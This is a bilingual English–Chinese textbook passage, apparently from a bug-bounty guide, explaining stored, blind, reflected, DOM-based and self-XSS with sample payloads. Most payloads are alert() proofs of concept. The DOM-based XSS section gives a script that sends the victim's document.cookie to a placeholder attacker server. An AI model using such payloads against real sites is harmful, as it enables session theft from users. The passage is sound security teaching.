Question

There are three kinds of XSS: stored XSS, reflected XSS, and DOM-based XSS. The difference between these types is in how the XSS payload travels before it gets delivered to the victim user. Some XSS flaws also fall into special categories: blind XSS and self-XSS, which we’ll talk about in a bit.

有三种 XSS：存储的 XSS、反射的 XSS 和基于 DOM 的 XSS。这些类型之间的区别在于 XSS 负载在传递到受害用户之前的方式。某些 XSS 漏洞也属于特殊类型：盲 XSS 和自身 XSS，稍后我们将讨论它们。

Stored XSS

Stored XSS happens when user input is stored on a server and retrieved unsafely. When an application accepts user input without validation, stores it in its servers, and then renders it on users’ browsers without sanitization, malicious JavaScript code can make its way into the database and then to victims’ browsers.

存储型 XSS 发生在用户输入被存储在服务器上并且未经安全检查就被检索出来。当一个应用程序接受用户输入却没有进行验证，直接在服务器上存储，并在用户浏览器上渲染而不消毒时，有害的 JavaScript 代码就会进入数据库，进而传递到受害者的浏览器中。

Stored XSS is the most severe XSS type that we will discuss in this chapter, because it has the potential of attacking many more users than reflected, DOM, or self-XSS. Sometimes during a stored-XSS attack, all the user has to do to become a victim is to view a page with the payload embedded, whereas reflected and DOM XSS usually require the user to click a malicious link. Finally, self-XSS requires a lot of social engineering to succeed.

存储的 XSS 是本章讨论的最严重的 XSS 类型，因为它具有攻击比反射型、DOM 或自我 XSS 更多用户的潜力。在存储的 XSS 攻击期间，有时用户只需要查看嵌入载荷的页面即可成为受害者，而反射型和 DOM XSS 通常需要用户点击恶意链接。最后，自我 XSS 需要大量社会工程才能成功。

During a stored XSS attack, attackers manage to permanently save their malicious scripts on the target application’s servers for others to access. Perhaps they’re able to inject the script in the application’s user database. Or maybe they get it in the server logs, on a message board, or in comment field. Every time users access the stored information, the XSS executes in their browser.

在存储型 XSS 攻击中，攻击者成功将他们的恶意脚本永久保存在目标应用程序的服务器上，供他人访问。也许他们能够将脚本注入应用程序的用户数据库中。或者他们在服务器日志、留言板或评论字段中获取它。每次用户访问存储的信息时，XSS 都会在他们的浏览器中执行。

For example, let’s say a comment field on an internet forum is vulnerable to XSS. When a user submits a comment to a blog post, that user input is not validated or sanitized in any way before it gets rendered to anyone who views that blog post. An attacker can submit a comment with JavaScript code and have that code executed by any user who views that blog post!

例如，假设某个互联网论坛上的评论字段存在 XSS 漏洞。当用户向博客文章提交评论时，该用户输入不会被验证或清理，然后就会显示给任何查看该博客文章的用户。攻击者可以提交一个带有 JavaScript 代码的评论，然后通过查看该博客文章的任何用户来执行该代码！

A great proof of concept for XSS is to generate an alert box in the browser via injected JavaScript code, so let’s give that a try. The JavaScript code alert('XSS by Vickie') will generate a pop-up on the victim’s browser that reads XSS by Vickie :

通过注入 JavaScript 代码在浏览器上生成一个警报框是 XSS 的巨大概念证明，所以让我们试试。JavaScript 代码 alert('XSS by Vickie') 将在受害者的浏览器上生成一个弹出窗口，其内容为“Vickie 的 XSS”：

<script>alert('XSS by Vickie');</script>

If submitted, this message would become embedded on the forum page’s HTML code, and the page would be displayed to all the visitors who view that comment:

如果提交，此消息将嵌入在论坛页面的 HTML 代码中，并将显示给所有查看该评论的访问者：

<h2>Vickie's message</h2>
<p>What a great post! Thanks for sharing.</p>
<h2>Attacker's message</h2>
<p><script>alert('XSS by Vickie');</script></p>

Figure 6-5 shows the two messages rendered in a browser.

图 6-5 展示了在浏览器中呈现的两个消息。

Figure 6-5 : The HTML page with two messages rendered in the browser. You can see that the attacker’s message is blank because the browser interprets it as a script instead of text.

图 6-5：在浏览器中呈现出两条消息的 HTML 页面。你可以看到，攻击者的消息是空白的，因为浏览器将其解释为脚本而不是文本。

When you load this HTML page in your browser, you’ll see the attacker’s comment field displayed as blank. This is because your browser interpreted <script>alert('XSS by Vickie');</script> located in the <p> tags as a script, not as regular text. You should notice a pop-up window that reads XSS by Vickie .

当您在浏览器中加载此 HTML 页面时，您会看到攻击者的注释字段显示为空白。这是因为您的浏览器将位于<p>标记中的<script>alert('XSS by Vickie');</script>解释为一个脚本，而不是普通文本。您应该注意到弹出窗口，其中显示 XSS by Vickie。

Every time a user views the comment on the forum, their browser will execute the embedded JavaScript. Stored XSS tends to be the most dangerous because attackers can attack many victims with a single payload.

每当用户在论坛上查看评论时，他们的浏览器将执行嵌入式 JavaScript。存储的 XSS 往往是最危险的，因为攻击者可以用单个有效负载攻击许多受害者。

Blind XSS

Blind XSS vulnerabilities are stored XSS vulnerabilities whose malicious input is stored by the server and executed in another part of the application or in another application that you cannot see.

盲 XSS 漏洞是存储 XSS 漏洞，其恶意输入被服务器存储，然后在您无法看到的应用程序的另一个部分或另一个应用程序中执行。

For example, let’s say that a page on example.com allows you to send a message to the site’s support staff. When a user submits a message, that input is not validated or sanitized in any way before it gets rendered to the site’s admin page. An attacker can submit a message with JavaScript code and have that code executed by any admin who views that message.

例如，假设 example.com 的一个页面允许你发送信息给网站的支持团队。当用户提交信息时，在渲染到网站的管理员页面之前，该输入没有进行任何验证或清洗。攻击者可以提交带有 JavaScript 代码的消息，并让任何查看该消息的管理员执行该代码。

These XSS flaws are harder to detect, since you can’t find them by looking for reflected input in the server’s response, but they can be just as dangerous as regular stored XSS vulnerabilities. Often, blind XSS can be used to attack administrators, exfiltrate their data, and compromise their accounts.

这些 XSS 漏洞更难检测，因为你无法通过查找服务器响应中的反射输入来发现它们，但它们可能与常规存储的 XSS 漏洞一样危险。通常，盲目的 XSS 可以用来攻击管理员，窃取他们的数据并攻陷他们的帐户。

Reflected XSS

Reflected XSS vulnerabilities happen when user input is returned to the user without being stored in a database. The application takes in user input, processes it server-side, and immediately returns it to the user.

反射性 XSS 漏洞发生在未被存储在数据库中的用户输入被返回给用户时。应用程序接受用户输入，经服务器处理后立即返回给用户。

The first example I showed, with the email form, involved a reflected XSS attack. These issues often happen when the server relies on user input to construct pages that display search results or error messages. For example, let’s say a site has a search functionality. The user can input a search term via a URL parameter, and the page will display a message containing the term at the top of the results page. If a user searches abc , the source code for the related message might look like this:

我展示的第一个例子是一个邮件表单，遭受了反射型 XSS 攻击。这种问题通常发生在服务器依赖用户输入构建用于显示搜索结果或错误信息的页面时。例如，假设一个网站有搜索功能。用户可以通过 URL 参数输入搜索词，然后在结果页面顶部显示一个包含该词的消息。如果用户搜索了 abc，相关消息的源代码可能如下所示：

<h2>You searched for abc; here are the results!</h2>

If the search functionality displays any user-submitted search string on the results page, a search term like the following would cause a script to become embedded on the results page and executed by the browser:

如果搜索功能在结果页面上显示了任何用户提交的搜索字符串，那么像以下这样的搜索词将会在结果页面上嵌入一个脚本并由浏览器执行：

https://example.com/search?q=    <script>alert('XSS by Vickie');</script>

If an attacker can trick victims into visiting this URL, the payload will become embedded in their version of the page, making the victim’s browser run whatever code the attacker would like. Unlike stored XSS, which allows attackers to execute code on anyone who accesses their stored resources, reflected XSS enables attackers to execute code on the browsers of victims who click their malicious links.

如果攻击者能够诱骗受害者访问此 URL，则负载将嵌入到其页面版本中，使受害者的浏览器运行攻击者希望运行的任何代码。与存储的 XSS 不同，其允许攻击者在访问其存储资源的任何人上执行代码，反射型 XSS 可以使攻击者在点击其恶意链接的受害者的浏览器上执行代码。

DOM-Based XSS

DOM-based XSS is similar to reflected XSS, except that in DOM-based XSS, the user input never leaves the user’s browser. In DOM-based XSS, the application takes in user input, processes it on the victim’s browser, and then returns it to the user.

DOM-based XSS 与反射式 XSS 类似，区别在于在 DOM-based XSS 中，用户输入永远不会离开用户的浏览器。 在 DOM-based XSS 中，应用程序接收用户输入，通过受害者浏览器上的处理，然后将其返回给用户。

The Document Object Model (DOM) is a model that browsers use to render a web page. The DOM represents a web page’s structure; it defines the basic properties and behavior of each HTML element, and helps scripts access and modify the contents of the page. DOM-based XSS targets a web page’s DOM directly: it attacks the client’s local copy of the web page instead of going through the server. Attackers are able to attack the DOM when a page takes user-supplied data and dynamically alters the DOM based on that input. JavaScript libraries like jQuery are prone to DOM-based XSS since they dynamically alter DOM elements.

文档对象模型 (DOM) 是浏览器用于呈现网页的模型。DOM 表示网页的结构；它定义了每个 HTML 元素的基本属性和行为，并帮助脚本访问和修改页面的内容。基于 DOM 的 XSS 直接针对网页的 DOM：它攻击客户端的本地网页副本，而不是通过服务器。攻击者可以在页面采用用户提供的数据并基于输入动态修改 DOM 时攻击 DOM。像 jQuery 这样的 JavaScript 库容易受到基于 DOM 的 XSS 的攻击，因为它们会动态修改 DOM 元素。

As in reflected XSS, attackers submit DOM-based XSS payloads via the victim’s user input. Unlike reflected XSS, a DOM-based XSS script doesn’t require server involvement, because it executes when user input modifies the source code of the page in the browser directly. The XSS script is never sent to the server, so the HTTP response from the server won’t change.

与反射型 XSS 类似，攻击者通过受害者的用户输入提交基于 DOM 的 XSS 载荷。不像反射型 XSS，基于 DOM 的 XSS 脚本不需要服务器参与，因为当用户输入直接修改页面的源代码时，它就会执行。 XSS 脚本永远不会发送到服务器，因此服务器的 HTTP 响应不会改变。

This might all sound a bit abstract, so let’s consider an example. Say a website allows the user to change their locale by submitting it via a URL parameter:

这可能听起来有点抽象，那么让我们举个例子。假设一个网站允许用户通过提交 URL 参数来更改地区设置：

https://example.com?locale=north+america

The web page’s client-side code will use this locale to construct a welcome message whose HTML looks like this:

网页的客户端代码将使用该区域设置来构建欢迎信息，其 HTML 格式如下：

<h2>Welcome, user from north america!</h2>

The URL parameter isn’t submitted to the server. Instead, it’s used locally, by the user’s browser, to construct a web page by using a client-side script. But if the website doesn’t validate the user-submitted locale parameter, an attacker can trick users into visiting a URL like this one:

URL 参数并未提交到服务器。相反，它是由用户的浏览器本地使用客户端脚本构建网页。但如果网站不验证用户提交的本地语言参数，攻击者可以欺骗用户访问像这样的 URL。

https://example.com?locale=
<script>location='http://attacker_server_ip/?c='+document.cookie;</script>

The site will embed the payload on the user’s web page, and the victim’s browser will execute the malicious script.

该网站将在用户的网页上嵌入有效载荷，而受害人的浏览器将执行恶意脚本。

DOM XSS may sound a lot like reflected XSS at first. The difference is that the reflected XSS payload gets sent to the server and returned to the user’s browser within an HTTP response. On the other hand, the DOM XSS payload is injected onto a page because of client-side code rendering user input in an insecure manner. Although the results of the two attacks are similar, the processes of testing for them and protecting against them are different.

DOM XSS 一开始可能听起来很像反射型 XSS。区别在于，反射型 XSS 有效载荷被发送到服务器并在 HTTP 响应中返回给用户的浏览器。另一方面，DOM XSS 有效载荷是通过客户端代码以不安全的方式呈现用户输入而注入到页面中的。尽管这两种攻击的结果类似，但针对它们进行测试和保护的过程却不同。

The user input fields that can lead to reflected and DOM-based XSS aren’t always URL parameters. Sometimes they show up as URL fragments or pathnames. URL fragments are strings, located at the end of a URL, that begin with a # character. They are often used to automatically direct users to a section within a web page or transfer additional information. For example, this is a URL with a fragment that takes the user to the #about_us section of the site’s home page:

可以导致反射和基于 DOM 的 XSS 的用户输入字段并不总是 URL 参数。有时它们会出现在 URL 片段或路径名中。 URL 片段是位于 URL 末尾的字符串，以＃字符开头。它们经常用于自动将用户引导到 Web 页面中的某个部分或传输额外信息。例如，以下是带有片段的 URL，将用户带到站点主页的＃about_us 部分：

https://example.com#about_us

We’ll talk more about the components of a URL in Chapter 7 . For information about DOM XSS and some example payloads, see the PortSwigger article “DOM-Based XSS” at https://portswigger.net/web-security/cross-site-scripting/dom-based/ .

我们将在第 7 章更详细地讨论 URL 的组成部分。关于 DOM XSS 和一些示例载荷的信息，请参阅 PortSwigger 文章“DOM-Based XSS”（https://portswigger.net/web-security/cross-site-scripting/dom-based/）。

Self-XSS

Self-XSS attacks require victims to input a malicious payload themselves. To perform these, attackers must trick users into doing much more than simply viewing a page or browsing to a particular URL.

自我 XSS 攻击需要受害者自己输入恶意载荷。为了执行这些攻击，攻击者必须欺骗用户做比仅仅查看页面或浏览到特定网址更多的事情。

For example, let’s say that a field on a user’s dashboard is vulnerable to stored XSS. But since only the victim can see and edit the field, there is no way for an attacker to deliver the payload unless the attacker can somehow trick the victim into changing the value of the field into the XSS payload.

例如，假设用户仪表板上的某个字段容易受到存储型 XSS 攻击。但由于只有受害者可以看到和编辑该字段，攻击者无法将有效负载传递给受害者，除非攻击者可以以某种方式诱骗受害者将字段的值更改为 XSS 有效负载。

If you’ve ever seen social media posts or text messages telling you to paste a piece of code into your browser to “do something cool,” it was probably attack code aimed at tricking you into launching self-XSS against yourself. Attackers often embed a piece of malicious payload (usually via a shortened URL like bitly.com so victims won’t suspect anything) into a complicated-looking piece of code and use social media to fool unsuspecting users into attacking themselves.

如果你曾经看到过社交媒体帖子或短信告诉你把一段代码粘贴到你的浏览器里“做些酷炫的事情”，那就很可能是攻击者发送有意识欺骗你启动自我跨站脚本攻击的恶意代码。攻击者通常会将一个恶意载荷（通常是通过像 bitly.com 这样的短网址引入）嵌入一个看起来复杂的代码片段中，并利用社交媒体欺骗不怀疑的用户攻击自己。

In bug bounties, self-XSS bugs are not usually accepted as valid submissions because they require social engineering. Bugs that require social engineering , or manipulation of the victims, are not usually accepted in bug bounty programs because they are not purely technical issues.

在漏洞赏金中，自我 XSS 漏洞通常不被视为有效提交，因为它们需要社会工程学。需要社会工程学或操纵受害者的漏洞通常不会被接受在漏洞赏金计划中，因为它们不是纯技术问题。